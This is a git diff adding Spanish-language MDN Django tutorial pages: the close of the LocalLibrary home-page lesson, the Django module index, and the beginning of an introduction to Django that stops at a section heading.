+<p>Crea el archivo HTML <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> y pon en él el contenido que se muestra abajo. Como puedes ver, extendemos nuestra plantilla base en la primera línea, y luego reemplazamos el bloque <code>content</code> por defecto con uno nuevo para esta plantilla.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+&lt;h1&gt;Local Library Home&lt;/h1&gt;
+
+  &lt;p&gt;Welcome to &lt;em&gt;LocalLibrary&lt;/em&gt;, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.&lt;/p&gt;
+
+&lt;h2&gt;Dynamic content&lt;/h2&gt;
+
+  &lt;p&gt;The library has the following record counts:&lt;/p&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;strong&gt;Books:&lt;/strong&gt; <strong>\{{ num_books }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Copies:&lt;/strong&gt; <strong>\{{ num_instances }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Copies available:&lt;/strong&gt; <strong>\{{ num_instances_available }}</strong>&lt;/li&gt;
+    &lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; <strong>\{{ num_authors }}</strong>&lt;/li&gt;
+  &lt;/ul&gt;
+
+{% endblock %}</pre>
+
+<p>En la sección <em>Dynamic content</em> hemos declarado marcadores de posición (<em>variables de plantilla</em>) para la información que quisimos incluir desde la vista. Las variables se marcan usando la sintaxis de "doble corchete" o "llaves" (ver lo que está en negrita arriba).</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Puedes reconocer fácilmente si estás trabajando con variables de plantilla o con etiquetas de plantilla (funciones) porque las variables tienen llaves dobles (<code>\{{ num_books }}</code>) mientras que las etiquetas están encerradas entre llaves simples con signos de porcentaje (<code>{% extends "base_generic.html" %}</code>).</p>
+</div>
+
+<p>Lo importante de todo esto es que estas variables se nombran con las claves que enviamos dentro del diccionario <code>context</code> en la función <code>render()</code> de nuestra vista (mira abajo); estas variables serán reemplazadas por sus valores asociados cuando la plantilla sea renderizada.</p>
+
+<pre class="brush: python">return render(
+    request,
+    'index.html',
+     context={'<strong>num_books</strong>':num_books,'<strong>num_instances</strong>':num_instances,'<strong>num_instances_available</strong>':num_instances_available,'<strong>num_authors</strong>':num_authors},
+)</pre>
+
+<h4 id="Referenciando_archivos_estáticos_en_las_plantillas">Referenciando archivos estáticos en las plantillas</h4>
+
+<p>Es probable que uses recursos estáticos en tu proyecto, incluyendo JavaScript, CSS e imágenes. Debido a que la ubicación de estos archivos podría ser desconocida (o podría cambiar), Django te permite especificar la ubicación de los mismos dentro de tus plantillas de forma relativa al parámetro global <code>STATIC_URL</code> (el sitio web esqueleto por defecto establece el valor de <code>STATIC_URL</code> a '<code>/static/</code>', pero puedes elegir alojar los archivos en una red de distribución de contenidos o en cualquier otro lugar).</p>
+
+<p>Dentro de la plantilla, primero llamas a la etiqueta de plantilla <code>load</code> especificando "static" para añadir esta biblioteca de plantilla (como se muestra abajo). Luego de que static se carga, puedes usar la etiqueta de plantilla <code>static</code> especificando la URL relativa del archivo de interés.</p>
+
+<pre class="brush: html"> &lt;!-- Add additional CSS in static file --&gt;
+{% load static %}
+&lt;link rel="stylesheet" href="{% static 'css/styles.css' %}"&gt;</pre>
+
+<p>Si quisieras podrías añadir una imagen a la página de forma similar. Por ejemplo:</p>
+
+<pre class="brush: html">{% load static %}
+&lt;img src="{% static 'catalog/images/local_library_model_uml.png' %}" alt="My image" style="width:555px;height:540px;"/&gt;
+</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Los cambios de arriba especifican dónde se localizan los archivos, pero Django no los sirve por defecto. Si bien habilitamos este servicio para el servidor web de desarrollo en el mapeador URL global (<strong>/locallibrary/locallibrary/urls.py</strong>) cuando <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwiq2o-V3PXbAhVM0FMKHcNzAkcQFggnMAA&amp;url=https%3A%2F%2Fdeveloper.mozilla.org%2Fes%2Fdocs%2FLearn%2FServer-side%2FDjango%2Fskeleton_website&amp;usg=AOvVaw2VIIkwGelK5OnECR-4u4sU">creamos el esqueleto del sitio web</a>, aún necesitarás configurar este servicio para producción. Hablaramos de esto más tarde.</p>
+</div>
+
+<p>Para mayor información sobre el trabajo con archivos estáticos revisa <a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Managing static files</a> (Django docs).</p>
+
+<h4 id="Enlazando_con_URLs">Enlazando con URLs</h4>
+
+<p>En la plantilla base de arriba se introdujo la etiqueta de plantilla <code>url</code>.</p>
+
+<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
+</pre>
+
+<p>Esta etiqueta toma el nombre de una función <code>url()</code> llamada en tu archivo <strong>urls.py,</strong> y valores para cualquier argumento que la vista asociada recibirá desde tal función, y devuelve una URL que puedes usar para enlazar con el recurso.</p>
+
+
+
+<h4 id="Configurando_adonde_buscar_las_plantillas">Configurando adonde buscar las plantillas</h4>
+
+<p>Para que Django encuentre los archivos de plantillas es necesario editar el archivo settings.py agregando el directorio donde creamos nuestras plantillas en el objeto TEMPLATES, como indica la linea en negrita a continuación:</p>
+
+<pre class="brush: python">TEMPLATES = [
+    {
+        'BACKEND': 'django.template.backends.django.DjangoTemplates',
+        'DIRS': [
+<strong>            os.path.join(BASE_DIR, 'templates'),
+</strong>        ],
+        'APP_DIRS': True,
+        'OPTIONS': {
+            'context_processors': [
+                'django.template.context_processors.debug',
+                'django.template.context_processors.request',
+                'django.contrib.auth.context_processors.auth',
+                'django.contrib.messages.context_processors.messages',
+            ],
+        },
+    },
+]</pre>
+
+<h2 id="¿Cómo_se_ve">¿Cómo se ve?</h2>
+
+<p>En este punto deberíamos haber creado todo lo necesario para desplegar la página index. Corre el servidor (<code>python3 manage.py runserver</code>) y dirige tu navegador a <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>. Si todo se configuró correctamente, tu sitio debería verse similar a la siguiente captura de pantalla.</p>
+
+<p><img alt="Index page for LocalLibrary website" src="https://mdn.mozillademos.org/files/14045/index_page_ok.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 874px;"></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Aún no podrás usar los enlaces <strong>All books</strong> y <strong>All authors</strong> porque las URLs, vistas y plantillas para dichas páginas no se han definido (al momento solo hemos insertado marcadores de posición para esos enlaces en la plantilla <code>base_generic.html</code>).</p>
+</div>
+
+<h2 id="Rétate_a_tí_mismo">Rétate a tí mismo</h2>
+
+<p>Aquí hay un par de tareas para probar tu familiaridad con consultas a modelos, vistas y plantillas.</p>
+
+<ol>
+ <li>Declara un nuevo bloque <em>title</em> en la plantilla <em>index</em> y cambia el título de la página para coincidir con esta página en particular.</li>
+ <li>Modifica la vista para generar un conteo de géneros y otro de libros que contengan una palabra en particular (no sensible a mayúsculas y minúsculas) y luego añade estos campos a la plantilla.</li>
+</ol>
+
+<ul>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Hemos creado la página de inicio para nuestro sitio -- una página HTML que despliega algunos conteos de registros de la base de datos y contiene enlaces a otras de nuestras páginas que aún nos faltan por crear. Sobre la marcha hemos adquirido mucha información fundamental sobre mapeadores URL, vistas, consultas a la base de datos usando nuestros modelos, cómo enviar información a una plantilla desde nuestra vista, y cómo crear y extender plantillas.</p>
+
+<p>En nuestro siguiente artículo nos basaremos en nuestro conocimiento para crear las otras cuatro páginas.</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial03/">Escribiendo tu primera aplicación Django, parte 3: Vistas y Plantillas</a>  (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/">Despachador URL</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/views/">Funciones de vista</a> (DJango docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Plantillas</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Administrando archivos estáticos</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#django.shortcuts.render">Funciones atajo de Django</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog"> </a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/index.html b/files/es/learn/server-side/django/index.html
new file mode 100644
index 0000000000..6a33f3e0be
--- /dev/null
+++ b/files/es/learn/server-side/django/index.html
@@ -0,0 +1,66 @@
+---
+title: Framework Web Django (Python)
+slug: Learn/Server-side/Django
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Principiante
+  - Programación lado servidor
+  - Python
+  - django
+  - introducción
+translation_of: Learn/Server-side/Django
+---
+<div>Django es un framework web extremadamente popular y completamente funcional, escrito en Python. El módulo muestra por qué Django es uno de los frameworks de servidores web más populares, cómo configurar un entorno de desarrollo y cómo empezar a usarlo para crear tus propias aplicaciones web.</div>
+
+<h2 id="Requisitos_Previos">Requisitos Previos</h2>
+
+<p>Antes de comenzar este módulo no es necesario tener ningún conocimiento de Django. Tendrás que entender que son la programación web de lado servidor y los frameworks web, idealmente leyendo los temas en nuestro módulo <a href="/en-US/docs/Learn/Server-side/First_steps">Primeros pasos en la programación de lado servidor de sitios web.</a></p>
+
+<p>Se recomienda un conocimiento general de los conceptos de programación y <a href="/en-US/docs/Glossary/Python">Python</a>, pero no es esencial para entender los conceptos básicos</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Python es uno de los lenguajes de programación más fáciles de leer y entender para los principiantes. Dicho esto, si desea comprender mejor este módulo, hay numerosos libros y tutoriales gratuitos disponibles en Internet (los nuevos programadores pueden querer ver la página de <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> en el wiki de python.org.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Introducci%C3%B3n">Introducción a Django</a></dt>
+ <dd>En este primer artículo de Django respondemos a la pregunta "¿Qué es Django?" y te dará una visión general de lo que hace a este framework web especial. Vamos a esbozar las principales características incluyendo algunas de las funciones avanzadas que no tendremos tiempo de cubrir en detalle en este módulo. También te mostraremos algunos de los principales bloques de construcción de una aplicación de Django, para darte una idea de lo que puedes hacer antes de que continúes configurándolo y comiences a jugar.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">Puesta en marcha de un entorno de desarrollo de Django</a></dt>
+ <dd>Ahora que sabes qué es y para qué sirve Django, te mostraremos cómo configurar y probar un entorno de desarrollo Django en Windows, Linux(Ubuntu), y Mac OS X. Cualquiera que sea el sistema operativo común que estés utilizando, este articulo deberia de ofrecerte lo necesario para iniciarte en el desarrollo de aplicaciones en Django.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: Sitio web "Biblioteca Local"</a></dt>
+ <dd>El primer articulo de nuestra serie de tutoriales explica lo que se aprenderá y proporciona una descripcion general del sitio web de ejemplo "Biblioteca Local" en el cual trabajaremos y evolucionaremos en articulos posteriores.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creación del esqueleto de un sitio web</a></dt>
+ <dd>Este artículo muestra cómo crear el "esqueleto" de un proyecto de sitio web como base, que luego se puede rellenar con configuraciones, urls, modelos, vistas y plantillas específicas del sitio.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Uso de modelos</a></dt>
+ <dd>Este artículo muestra cómo definir modelos para el sitio web de la <em>Biblioteca Local</em> <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>— los modelos representan las estructuras en las que queremos almacenar los datos de nuestra app, y también permiten a Django almacenar datos en una base por nosotros (y modificarlos más tarde). Se explica qué es un modelo, cómo se declara y alguno de los principales tipos de campo. También se muestra brevemente unas pocas de las múltiples formas con las que puedes acceder al modelo de datos.</span></dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de Administración de Django</a></dt>
+ <dd>Ahora que hemos creado modelos para el sitio web de la <em>Biblioteca Local</em>, usaremos el sito de administración <span style='background-color: transparent; border-bottom-style: none; border-bottom-width: 0px; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: #333333; display: inline; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>de Django </span>para añadir algunos datos "reales" de libros. Primero te mostraremos cómo registrar los modelos con el sitio de administración, a continuación te mostraremos cómo iniciar sesión y crear algunos datos. Al final te mostramos algunas formas en las que puedes mejorar la presentación del sitio de administración.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creación de tu página de inicio</a></dt>
+ <dd>Ahora estamos listos para añadir el código para presentar nuestra primera página completa — una página de inicio para la <em>Biblioteca Local</em> que muestra cuántos registros tenemos de cada tipo de modelo y proporciona una barra lateral con enlaces de navegación a otras páginas. A medida que avanzamos ganaremos experiencia práctica en la escritura de mapas URL y vistas, obtención de registros de la base de datos y la utilización de plantillas.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></dt>
+ <dd>Este tutorial extiende el sitio web de nuestra <em>Biblioteca Local</em> añadiendo listas y páginas de detalle de libros y autores. Aquí aprenderemos sobre vistas genéricas basadas en clases y se mostrará cómo pueden reducir la cantidad de código que tienes que escribir para casos de uso común. También nos adentraremos en la gestión de URL en gran detalle, mostrando cómo realizar un emparejamiento básico de patrones.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></dt>
+ <dd>Este tutorial extiende nuestro sitio web de <em>Biblioteca Local</em> añadiendo a nuestra página de inicio un contador de visitas basado en sesión. Este es un ejemplo relativamente simple, pero muestra de verdad cómo puedes usar el framework de sesión para proporcionar un comportamiento presistente para usuarios anónimos en tus propios sitios.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación y permisos de Usuario</a></dt>
+ <dd>En este tutorial te mostraremos cómo permitir a los usuarios iniciar sesión en tu sitio con sus propias cuentas y cómo controlar lo que pueden hacer y ver, basado en si han iniciado sesión o no y en sus <em>permisos</em>. Como parte de esta demostración extenderemos el sitio web de la <em>Biblioteca Local</em>, añadiendo páginas de inicio y cierre de sesión, y páginas específicas de usuario - y de personal - para ver libros que han sido prestados.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajo con formularios</a></dt>
+ <dd>En este tutorial te mostraremos cómo trabajar con <a href="/en-US/docs/Web/Guide/HTML/Forms">Formularios HTML</a> en Django, y en particular la forma más fácil de escribir formularios para crear, actualizar y borrar instancias de modelos. Como parte de esta demostración extenderemos el sitio web de la <em>Biblioteca Local</em> de manera que los bibliotecarios puedan renovar libros, y crear, actualizar y borrar autores usando sus propios formularios (en vez de usar la aplicación de administración).</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web Django</a></dt>
+ <dd>A medida que crecen los sitios web se vuelven más difíciles de probar a mano — no sólo hay más para probar, sino que además, a medida que las interacciones entre los componentes se vuelven más complejas, un pequeño cambio en un área puede suponer muchas pruebas adicionales para verificar su impacto en otras áreas. Una forma de mitigar estos problemas es escribir tests automatizados, que pueden ser ejecutados de manera fácil y fiable cada vez que hagas un cambio. Este tutorial muestra cómo automatizar la <em>unidad de pruebas</em> de tu sitio web usando el framework de pruebas de Django.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Desplegando Django a producción</a></dt>
+ <dd>Ahora que has creado (y probado) un impresionante sitio web para la <em>Biblioteca Local</em>, vas a querer instalarlo en un servidor web público de manera que pueda ser accedido por el personal y los miembros de la biblioteca a través de Internet. Este artículo proporciona una visión general de cómo podrías ir buscando un host para desplegar tu sitio web y lo que necesitas hacer para conseguir que tu sitio esté listo en producción.</dd>
+ <dt><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad de las aplicaciones web Django</a></dt>
+ <dd>Proteger los datos de los usuarios es una parte esencial de cualquier diseño de un sitio web. Previamente ya explicamos algunas de las amenazas de seguridad más comunes en el artículo <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Seguridad Web</a> — este artículo proporciona una demostración práctica de cómo las protecciones integradas de Django gestionan estas amenazas.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>La siguiente evaluación comprobará tu comprensión de cómo crear un sitio web usando Django, como se describe en las guías listadas arriba.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">Mini Blog Django Hazlo tu mismo</a></dt>
+ <dd>En esta evaluación usarás algo del conocimiento que has aprendido en este módulo para crear tu propio blog.</dd>
+</dl>
diff --git a/files/es/learn/server-side/django/introducción/index.html b/files/es/learn/server-side/django/introducción/index.html
new file mode 100644
index 0000000000..484b311a2c
--- /dev/null
+++ b/files/es/learn/server-side/django/introducción/index.html
@@ -0,0 +1,282 @@
+---
+title: Introducción a Django
+slug: Learn/Server-side/Django/Introducción
+tags:
+  - Aprendizaje
+  - CodigoScript
+  - Principiante
+  - Programación lado servidor
+  - Python
+  - django
+  - introducción
+translation_of: Learn/Server-side/Django/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">En este primer artículo de Django responderemos la pregunta ¿Qué es Django? y daremos una visión general de lo que hace que este framework sea tan especial. Vamos a delinear las características principales, incluidas algunas de las funcionalidades avanzadas que no tendremos tiempo de cubrir con detalle en este módulo.  Tambien mostraremos algunos de los componentes principales de una aplicación de Django. (aunque en este momento no cuentes con un entorno de desarrollo en el cual probarlo).</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre requisitos:</th>
+   <td>Conocimientos basicos en informatica. Una comprensión general de <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">programación del lado del servidor</a>, y en particular de los mecanimos de <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">interacciones cliente-servidor en los sitios web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivos:</th>
+   <td>Familiarizarse con lo que es Django, que funcionalidad proporciona y los componentes principales de una aplicación Django.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_Django">¿Qué es Django?</h2>
+
+<p>Django es un framework web de alto nivel que permite el desarrollo rápido de sitios web seguros y mantenibles. Desarrollado por programadores experimentados, Django se encarga de gran parte de las complicaciones del desarrollo web, por lo que puedes concentrarte en escribir tu aplicación sin necesidad de reinventar la rueda. Es gratuito y de código abierto, tiene una comunidad próspera y activa, una gran documentación y muchas opciones de soporte gratuito y de pago.</p>
+
+<p>Django te ayuda a escribir software que es:</p>
+
+<dl>
+ <dt>Completo</dt>
+ <dd>Django sigue la filosofía "Baterías incluidas" y provee casi todo lo que los desarrolladores quisieran que tenga "de fábrica". Porque todo lo que necesitas es parte de un único "producto", todo funciona a la perfección, sigue principios de diseño consistentes y tiene una amplia y<a href="https://docs.djangoproject.com/en/1.10/"> actualizada documentación</a>.</dd>
+ <dt>Versátil</dt>
+ <dd>Django puede ser (y ha sido) usado para construir casi cualquier tipo de sitio web — desde sistemas manejadores de contenidos y wikis, hasta redes sociales y sitios de noticias. Puede funcionar con cualquier framework en el lado del cliente, y puede devolver contenido en casi cualquier formato (incluyendo HTML, RSS feeds, JSON, XML, etc). ¡El sitio que estás leyendo actualmente está basado en Django!<br>
+ <br>
+ Internamente, mientras ofrece opciones para casi cualquier funcionalidad que desees (distintos motores de base de datos , motores de plantillas, etc.), también puede ser extendido para usar otros componentes si es necesario.</dd>
+ <dt>Seguro</dt>
+ <dd>Django ayuda a los desarrolladores evitar varios errores comunes de seguridad al proveer un framework que ha sido diseñado para "hacer lo correcto" para proteger el sitio web automáticamente. Por ejemplo, Django, proporciona una manera segura de administrar cuentas de usuario y contraseñas, evitando así errores comunes como colocar informaciones de sesión en cookies donde es vulnerable (en lugar de eso las cookies solo contienen una clave y los datos se almacenan en la base de datos) o se almacenan directamente las contraseñas en un hash de contraseñas.<br>
+  <br>
+ <em>Un hash de contraseña es un valor de longitud fija creado al enviar la contraseña a una <a href="https://en.wikipedia.org/wiki/Cryptographic_hash_function">cryptographic hash function</a>. Django puede validar si la contraseña ingresada es correcta enviándola a través de una función hash y comparando la salida con el valor hash almacenado. Sin embargo debido a la naturaleza "unidireccional" de la función, incluso si un valor hash almacenado se ve comprometido es difícil para un atacante resolver la contraseña original.</em><br>
+ <br>
+ Django permite protección contra algunas vulnerabilidades de forma predeterminada, incluida la inyección SQL, scripts entre sitios, falsificación de solicitudes entre sitios y clickjacking (consulte <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad de sitios web</a> para obtener más detalles sobre dichos ataques).</dd>
+ <dt>Escalable</dt>
+ <dd>Django usa un componente basado en la arquitectura “<a href="https://en.wikipedia.org/wiki/Shared_nothing_architecture">shared-nothing</a>” (cada parte de la arquitectura es independiente de las otras, y por lo tanto puede ser reemplazado o cambiado si es necesario). Teniendo en cuenta una clara separación entre las diferentes partes significa que puede escalar para aumentar el tráfico al agregar hardware en cualquier nivel: servidores de cache, servidores de bases de datos o servidores de aplicación. Algunos de los sitios más concurridos han escalado a Django para satisfacer sus demandas (por ejemplo, Instagram y Disqus, por nombrar solo dos).</dd>
+ <dt>Mantenible</dt>
+ <dd>El código de Django está escrito usando principios y patrones de diseño para fomentar la creación de código mantenible y reutilizable. En particular, utiliza el principio No te repitas "Don't Repeat Yourself" (DRY) para que no exista una duplicación innecesaria, reduciendo la cantidad de código. Django también promueve la agrupación de la funcionalidad relacionada en "aplicaciones" reutilizables y en un nivel más bajo, agrupa código relacionado en módulos (siguiendo el patrón <a href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model View Controller (MVC)</a>).</dd>
+ <dt>Portable</dt>
+ <dd>Django está escrito en Python, el cual se ejecuta en muchas plataformas. Lo que significa que no está sujeto a ninguna plataforma en particular, y puede ejecutar sus aplicaciones en muchas distribuciones de Linux, Windows y Mac OS X. Además, Django cuenta con el respaldo de muchos proveedores de alojamiento web, y que a menudo proporcionan una infraestructura específica y documentación para el alojamiento de sitios de Django.</dd>
+</dl>
+
+<h2 id="¿De_dónde_vino">¿De dónde vino?</h2>
+
+<p>Django fue desarrollado inicialmente entre 2003 y 2005 por un equipo que era responsable de crear y mantener sitios web de periódicos. Después de crear varios sitios, el equipo empezó a tener en cuenta y reutilizar muchos códigos y patrones de diseño comunes. Este código común se convirtió en un framework web genérico, que fue de código abierto, conocido como proyecto "Django" en julio de 2005.</p>
+
+<p>Django ha continuado creciendo y mejorando desde su primer hito, el lanzamiento de la versión (1.0) en septiembre de 2008, hasta el reciente lanzamiento de la versión 1.11 (2017). Cada lanzamiento ha añadido nuevas funcionalidades y solucionado errores, que van desde soporte de nuevos tipos de bases de datos, motores de plantillas, caching, hasta la adición de funciones genéricas y clases de visualización (que reducen la cantidad de código que los desarrolladores tiene que escribir para numerosas tareas de programación).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Consulte las <span style="line-height: 1.5;"><a href="https://docs.djangoproject.com/en/1.10/releases/">notas de lanzamiento</a></span><span style="line-height: 1.5;"> en el sitio web de Django para ver qué ha cambiado en las versiones recientes y cúanto trabajo se lleva a cabo para mejorar Django.</span></p>
+</div>
+
+<p>Django es ahora un próspero proyecto colaborativo de código abierto, con miles de usuarios y contribuidores. Mientras que todavía presenta algunas características que reflejan su origen, Django ha evolucionado en un framework versátil que es capaz de desarrollar cualquier tipo de sitio web.</p>
+
+<h2 id="¿Qué_tan_Popular_es_Django">¿Qué tan Popular es Django?</h2>
+
+<p>No hay una medida de popularidad definitiva y disponible de inmediato de "frameworks de lado servidor" (aunque sitios como <a href="http://hotframeworks.com/">Hot Frameworks</a> intentan evaluar la popularidad usando mecanismos como contar el número de proyectos en Github y preguntas en StackOverflow de cada plataforma). Una pregunta mejor es si Django es lo "suficientemente popular" para evitar los problemas de las plataformas menos populares. ¿Continúa evolucionando? ¿Puedes conseguir la ayuda que necesitas? ¿Hay alguna posibilidad de que consigas un trabajo pagado si aprendes Django?</p>
+
+<p>De acuerdo con el número de sitios que usan Django, el número de gente que contribuye al código base, y el número de gente que proporciona soporte tanto libre como pagado, podemos entonces decir que sí, !Django es un framework popular!</p>
+
+<p>Los sitios de alto nivel que usan Django incluyen: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest y Open Stack (fuente: <a href="https://www.djangoproject.com/">Página de inicio de Django</a>).</p>
+
+<h2 id="¿Es_Django_dogmático">¿Es Django dogmático?</h2>
+
+<p>Los frameworks web frecuentemente se refieren a sí mismos como "dogmáticos" ("<em>opinionated</em>") o "no dogmáticos" ("<em>unopinionated</em>").</p>
+
+<p>Los frameworks dogmáticos son aquellos que opinan acerca de la "manera correcta" de gestionar cualquier tarea en particular. Ofrecen soporte para el desarrollo rápido en un <em>dominio en particular</em> (resolver problemas de un tipo en particular) porque la manera correcta de hacer cualquier cosa está generalmente bien comprendida y bien documentada.</p>
+
+<p>Sin embargo pueden ser menos flexibles para resolver problemas fuera de su dominio principal, y tienden a ofrecer menos opciones para elegir qué componentes y enfoques pueden usarse.</p>
+
+<p>Los framewoks no dogmáticos, por contra, tienen muchas menos restricciones sobre el modo mejor de unir componentes para alcanzar un objetivo, o incluso qué componentes deberían usarse. Hacen más fácil para los desarrolladores usar las herramientas más adecuadas para completar una tarea en particular, si bien al coste de que necesitas encontrar esos componentes por tí mismo.</p>
+
+<p>Django es "dogmático pero no del todo" y por tanto entrega "lo mejor de ambos mundos". Proporciona un conjunto de componentes para gestionar la mayoría de las tareas de desarrollo web y una (o dos) maneras preferidas de usarlos. Sin embargo, la arquitectura desacoplada de Django implica que puedes normalmente escoger y seleccionar de entre numerosas opciones diferentes o añadir soporte para otras completamente nuevas, si lo deseas.</p>
+
+<h2 id="¿Qué_pinta_tiene_el_código_de_Django">¿Qué pinta tiene el código de Django?</h2>
+
